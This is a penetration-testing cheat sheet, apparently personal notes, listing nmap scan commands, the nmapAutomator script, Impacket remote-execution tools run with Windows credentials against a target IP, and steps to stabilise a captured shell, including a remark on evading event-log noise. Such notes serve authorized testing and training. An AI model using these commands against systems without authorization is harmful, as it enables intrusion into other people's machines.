General Enumeration

NMAP

# NMAP
# About: A network scanning tool that identifies devices, ports, services, and operating systems 
# Download: Pre-installed on Kali Linux 

# Fast scan of top 100 ports
nmap -F {IP ADDRESS}

# Ping sweep subnet
nmap -sP {IP ADDRESS}/24

# Usage
nmap -p- --min-rate 5000 -sC -sV {IP ADDRESS}

# UDP Scan
sudo nmap -sU  {IP ADDRESS}

# Flags 
# -p-: scans ALL ports
# --min-rate <number>: Send packets no slower than <number> per second
# -sC: equivalent to --script=default
# -sV: Probe open ports to determine service/version info
# -sU: UDP port scan

NMAP Automator

# NMAP Automator
# About: Useful script that automates multiple enumeration scans in succession
# Download: https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh

# Usage
./nmapAutomator.sh --host {IP ADDRESS} --type All

# Flags
# --type Network : Shows all live hosts in the host's network (~15 seconds)
# --type	Port    : Shows all open ports (~15 seconds)
# --type	Script  : Runs a script scan on found ports (~5 minutes)
# --type	Full    : Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
# --type	UDP     : Runs a UDP scan "requires sudo" (~5 minutes)
# --type	Vulns   : Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)
# --type	Recon   : Suggests recon commands, then prompts to automatically run them
# --type	All     : Runs all the scans (~20-30 minutes)

Impacket Remote Code Execution

# atexec.py : Atexec.py: Impacket has a python library that helps an attacker to access the victim host machine remotely through DCE/RPC based protocol used by CIFS hosts to access/control the AT-Scheduler Service and execute the arbitrary system command.

# PsExec.py : PSEXEC like functionality example using RemComSvc, with the help of python script we can use this module for connecting host machine 

# netview.py : It is an enumeration tool. It requires the domain name to enumerate hosts. It can also be provided with a list of hosts or targets

# Smbexec.py : Smbexec.py uses a similar approach to psexec w/o using RemComSvc

# wmiexec.py : A similar approach to smbexec but executing commands through WMI. The main advantage here is it runs under the user (has to be Admin) account, not SYSTEM, plus, it doesn’t generate noisy messages in the event log that smbexec.py does when creating a service.

# Usage
/usr/share/doc/python3-impacket/examples/{IMPACKET.py} {USERNAME}:{PASSWORD}@{IP ADDRESS}

# {USERNAME}: Valid Windows username
# {PASSWORD}: Valid Windows password
# {IP ADDRESS}: Server IP address

Shell Upgrade

# About: A command to spawn a new shell using python
# Download: May or may not be installed on server machine

# Usage

# Additional Functionality
CTRL + Z
stty raw -echo; fg
enter
export TERM=xterm-256color

# Run older python/python2 scripts in virtual environment:
cd /opt/impacket
sudo virtualenv impacket-venv -p $(which python2)
